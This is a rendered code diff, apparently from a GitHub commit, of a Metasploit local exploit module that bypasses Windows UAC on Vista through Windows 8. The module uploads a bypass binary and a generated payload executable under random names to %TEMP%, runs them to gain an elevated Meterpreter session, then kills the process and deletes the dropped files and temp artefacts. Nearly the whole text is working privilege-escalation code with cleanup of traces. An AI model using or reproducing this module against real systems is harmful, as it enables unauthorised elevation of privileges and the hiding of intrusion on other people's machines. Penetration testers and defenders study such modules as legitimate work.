4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'msf/core/exploit/exe'
7
8
8
9
class Metasploit3 < Msf ::Exploit ::Local
9
10
Rank = ExcellentRanking
10
11
12
+ include Exploit ::EXE
13
+ include Post ::File
11
14
include Post ::Windows ::Priv
12
- include Post ::Windows ::Runas
13
15
14
16
def initialize ( info = { } )
15
17
super ( update_info ( info ,
@@ -27,50 +29,43 @@ def initialize(info={})
27
29
] ,
28
30
'Platform' => [ 'win' ] ,
29
31
'SessionTypes' => [ 'meterpreter' ] ,
30
- 'Targets' => [ [ 'Windows' , { } ] ] ,
32
+ 'Targets' => [
33
+ [ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
34
+ [ 'Windows x64' , { 'Arch' => ARCH_X86_64 } ]
35
+ ] ,
31
36
'DefaultTarget' => 0 ,
32
37
'References' => [
33
38
[ 'URL' , 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
34
39
] ,
35
40
'DisclosureDate' => "Dec 31 2010"
36
41
) )
37
42
38
- register_options ( [
39
- OptEnum . new ( "TECHNIQUE" , [ true , "Technique to use if UAC is turned off" , 'EXE' , [ 'PSH' , 'EXE' ] ] ) ,
40
- ] )
41
-
42
- end
43
-
44
- def runas_method
45
- case datastore [ "TECHNIQUE" ]
46
- when "EXE"
47
- execute_exe
48
- when "PSH"
49
- execute_psh
50
- end
51
43
end
52
44
53
- def exploit
54
- fail_with ( Exploit ::Failure ::None , 'Already in elevated state' ) if is_admin? or is_system?
55
-
56
- #
57
- # Verify use against Vista+
58
- #
59
- winver = sysinfo [ "OS" ]
60
- if winver !~ /Windows Vista|Windows 2008|Windows [78]/
61
- fail_with ( Exploit ::Failure ::NotVulnerable , "#{ winver } is not vulnerable." )
62
- end
45
+ def check_permissions!
46
+ # Check if you are an admin
47
+ vprint_status ( 'Checking admin status...' )
48
+ admin_group = is_in_admin_group?
63
49
64
- if is_uac_enabled?
65
- print_status "UAC is Enabled, checking level..."
50
+ if admin_group . nil?
51
+ print_error ( 'Either whoami is not there or failed to execute' )
52
+ print_error ( 'Continuing under assumption you already checked...' )
66
53
else
67
- if is_in_admin_group?
68
- fail_with ( Exploit :: Failure :: Unknown , "UAC is disabled and we are in the admin group so something has gone wrong ..." )
54
+ if admin_group
55
+ print_good ( 'Part of Administrators group! Continuing ...' )
69
56
else
70
57
fail_with ( Exploit ::Failure ::NoAccess , "Not in admins group, cannot escalate with this module" )
71
58
end
72
59
end
73
60
61
+ if get_integrity_level == INTEGRITY_LEVEL_SID [ :low ]
62
+ fail_with ( Exploit ::Failure ::NoAccess , "Cannot BypassUAC from Low Integrity Level" )
63
+ end
64
+ end
65
+
66
+ def exploit
67
+ validate_environment!
68
+
74
69
case get_uac_level
75
70
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP , UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP , UAC_PROMPT_CREDS , UAC_PROMPT_CONSENT
76
71
fail_with ( Exploit ::Failure ::NotVulnerable ,
@@ -85,36 +80,41 @@ def exploit
85
80
return
86
81
end
87
82
88
- # Check if you are an admin
89
- print_status ( 'Checking admin status...' )
90
- admin_group = is_in_admin_group?
83
+ check_permissions!
91
84
92
- if admin_group . nil?
93
- print_error ( 'Either whoami is not there or failed to execute' )
94
- print_error ( 'Continuing under assumption you already checked...' )
95
- else
96
- if admin_group
97
- print_good ( 'Part of Administrators group! Continuing...' )
98
- else
99
- fail_with ( Exploit ::Failure ::NoAccess , "Not in admins group, cannot escalate with this module" )
85
+ upload_binaries!
86
+
87
+ cmd = "#{ path_bypass } /c #{ path_payload } "
88
+ # execute the payload
89
+ pid = cmd_exec_get_pid ( cmd )
90
+
91
+ ::Timeout . timeout ( 30 ) do
92
+ until session_created? do
93
+ select ( nil , nil , nil , 1 )
100
94
end
101
95
end
96
+ session . sys . process . kill ( pid )
97
+ # delete the uac bypass payload
98
+ file_rm ( path_bypass )
99
+ file_rm ( "#{ expand_path ( "%TEMP%" ) } \\ tior.exe" )
100
+ cmd_exec ( "cmd.exe" , "/c del \" #{ expand_path ( "%TEMP%" ) } \\ w7e*.tmp\" " )
101
+ end
102
102
103
- if get_integrity_level == INTEGRITY_LEVEL_SID [ :low ]
104
- fail_with ( Exploit :: Failure :: NoAccess , "Cannot BypassUAC from Low Integrity Level" )
105
- end
103
+ def path_bypass
104
+ @bypass_path ||= " #{ expand_path ( "%TEMP%" ) } \\ #{ Rex :: Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } .exe"
105
+ end
106
106
107
+ def path_payload
108
+ @payload_path ||= "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } .exe"
109
+ end
110
+
111
+ def upload_binaries!
112
+ print_status ( "Uploaded the agent to the filesystem...." )
107
113
#
108
114
# Generate payload and random names for upload
109
115
#
110
116
payload = generate_payload_exe
111
117
112
- # randomize the bypass_uac_filename
113
- bypass_uac_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
114
-
115
- # randomize the payload exe name
116
- payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
117
-
118
118
# path to the bypassuac binary
119
119
path = ::File . join ( Msf ::Config . data_directory , "post" )
120
120
@@ -126,36 +126,54 @@ def exploit
126
126
bpexe = ::File . join ( path , "bypassuac-x86.exe" )
127
127
end
128
128
129
- tmpdir = expand_path ( "%TEMP%" )
130
- cmd = "#{ tmpdir } \\ #{ bypass_uac_filename } /c #{ tmpdir } \\ #{ payload_filename } "
131
-
132
129
print_status ( "Uploading the bypass UAC executable to the filesystem..." )
133
130
134
131
begin
135
132
#
136
133
# Upload UAC bypass to the filesystem
137
134
#
138
- upload_file ( "#{ tmpdir } \\ #{ bypass_uac_filename } " , bpexe )
135
+ upload_file ( "#{ path_bypass } " , bpexe )
139
136
print_status ( "Meterpreter stager executable #{ payload . length } bytes long being uploaded.." )
140
- #
141
- # Upload the payload to the filesystem
142
- #
143
- tempexe = tmpdir + "\\ " + payload_filename
144
- write_file ( tempexe , payload )
137
+
138
+ write_file ( path_payload , payload )
145
139
rescue ::Exception => e
146
- print_error ( "Error uploading file #{ bypass_uac_filename } : #{ e . class } #{ e } " )
140
+ print_error ( "Error uploading file #{ path_bypass } : #{ e . class } #{ e } " )
147
141
return
148
142
end
143
+ end
149
144
150
- print_status ( "Uploaded the agent to the filesystem...." )
145
+ def runas_method
146
+ payload = generate_payload_exe
147
+ payload_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
148
+ tmpdir = expand_path ( "%TEMP%" )
149
+ tempexe = tmpdir + "\\ " + payload_filename
150
+ write_file ( tempexe , payload )
151
+ print_status ( "Uploading payload: #{ tempexe } " )
152
+ session . railgun . shell32 . ShellExecuteA ( nil , "runas" , tempexe , nil , nil , 5 )
153
+ print_status ( "Payload executed" )
154
+ end
151
155
152
- # execute the payload
153
- cmd_exec ( cmd )
156
+ def validate_environment!
157
+ fail_with ( Exploit ::Failure ::None , 'Already in elevated state' ) if is_admin? or is_system?
158
+ #
159
+ # Verify use against Vista+
160
+ #
161
+ winver = sysinfo [ "OS" ]
154
162
155
- # delete the uac bypass payload
156
- delete_file = "#{ tmpdir } \\ #{ bypass_uac_filename } "
163
+ unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
164
+ fail_with ( Exploit ::Failure ::NotVulnerable , "#{ winver } is not vulnerable." )
165
+ end
157
166
158
- file_rm ( delete_file )
167
+ if is_uac_enabled?
168
+ print_status "UAC is Enabled, checking level..."
169
+ else
170
+ if is_in_admin_group?
171
+ fail_with ( Exploit ::Failure ::Unknown , "UAC is disabled and we are in the admin group so something has gone wrong..." )
172
+ else
173
+ fail_with ( Exploit ::Failure ::NoAccess , "Not in admins group, cannot escalate with this module" )
174
+ end
175
+ end
159
176
end
160
- end
161
177
178
+
179
+ end
0 commit comments